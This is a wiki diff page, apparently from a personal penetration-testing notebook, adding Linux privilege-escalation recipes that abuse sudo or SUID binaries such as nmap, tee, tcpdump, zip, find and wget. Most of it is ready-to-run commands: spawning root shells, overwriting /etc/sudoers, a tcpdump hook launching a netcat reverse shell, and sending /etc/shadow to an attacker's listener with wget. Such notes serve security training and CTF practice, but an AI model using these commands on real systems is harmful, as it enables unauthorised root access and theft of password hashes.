Outils d'utilisateurs

Outils du Site



Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.

Lien vers cette vue

privilege_escalation [2020/11/11 11:04]
privilege_escalation [2022/06/21 10:13] (Version actuelle)
Ligne 101: Ligne 101:
   * sudo zip $TF /etc/hosts -T -TT 'sh #'   * sudo zip $TF /etc/hosts -T -TT 'sh #'
 +**Escalate to root using nmap suid**
 +  * nmap --script <(echo 'require "os".execute "/bin/sh"')
 +  * or
 +  * nmap --interactive
 +**Escalate to root using tee suid**
 +tidy.sh is executed as root on the server, we can write the below code in temp.sh
 +  * temp.sh
 +  * echo "example_user ALL=(ALL) ALL" > /etc/sudoers
 +  * or
 +  * chmod +w /etc/sudoers to add write properties to sudoers file to do the above
 +  * and then
 +  * cat temp.sh | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
 +  * which will add contents of temp.sh to tidyup.sh. (Assuming tidyup.sh is running as root by crontab)
 +**Escalate to root using tcpdump** 
 +  * The “-z postrotate-command” option (introduced in tcpdump version 4.0.0).
 +  * Create a temp.sh ( which contains the commands to executed as root )
 +  * id
 +  * /bin/nc 4444 -e /bin/bash
 +  * Execute the command
 +  * sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z ./temp.sh -Z root
 +  * where
 +  * -C file_size : Before  writing a raw packet to a savefile, check whether the file is currently larger than file_size and, if so, close the current savefile and open a new one.  Savefiles after the first savefile will have the name specified with the -w flag, with a number after it, starting at 1 and continuing upward.  The units of file_size are millions of bytes (1,000,000 bytes, not 1,048,576 bytes).
 +  * -W Used  in conjunction with the -C option, this will limit the number of files created to the specified number, and begin overwriting files from the beginning, thus creating a 'rotating' buffer.  In addition, it will name the files with enough leading 0s to support the maximum number of files, allowing them to sort correctly. Used in conjunction with the -G option, this will limit the number of rotated dump files that get created, exiting with status 0 when reaching the limit. If used with -C as well, the behavior will result in cyclical files per timeslice.
 +  * -z postrotate-command Used in conjunction with the -C or -G options, this will make tcpdump run " postrotate-command file " where file is the savefile being closed after each rotation. For example, specifying 
 +  * -z gzip or -z bzip will compress each savefile using gzip or bzip2.
 +Note that tcpdump will run the command in parallel to the capture, using the lowest priority so that this doesn't disturb the capture process.
 +And in case you would like to use a command that itself takes flags or different arguments, you can always write a shell script that will take the savefile name as the only argument, make the flags &  arguments arrangements and execute the command that you want.
 +  * -Z user
 +  * --relinquish-privileges=user If tcpdump is running as root, after opening the capture device or input savefile, but before opening any savefiles for output, change the user ID to user and the group ID to the primary group of user. This behavior can also be enabled by default at compile time.
 +**Escalate to root using zip**
 +  * touch /tmp/exploit
 +  * sudo -u root zip /tmp/exploit.zip /tmp/exploit -T --unzip-command="sh -c /bin/bash"
 +  * find
 +  * If find is suid, we can use
 +  * touch foo
 +  * find foo -exec whoami \;
 +  * Here, the foo file (a blank file) is created using the touch command as the -exec parameter of the find command will execute the given command for every file that it finds, so by using “find foo” it is ensured they only execute once. The above command will be executed as root.
 +  * HollyGrace has mentioned this in Linux PrivEsc: Abusing SUID More can be learn How-I-got-root-with-sudo.
 +**Escalate to root using wget**
 +  * If the user has permission to run wget as sudo, we can read files (if the user whom we are sudo-ing have the permisson to read) by using –post-file parameter
 +  * post_file = file   -- Use POST as the method for all HTTP requests and send the contents of file in the request body. The same as ‘--post-file=file’.
 +  * Example:
 +  * sudo -u root wget --post-file=/etc/shadow http://AttackerIP:Port
 +  * On the attacker side, there can be a nc listener. The above would send the contents of /etc/shadow to the listener in the post request.
privilege_escalation.txt · Dernière modification: 2022/06/21 10:13 par M0N5T3R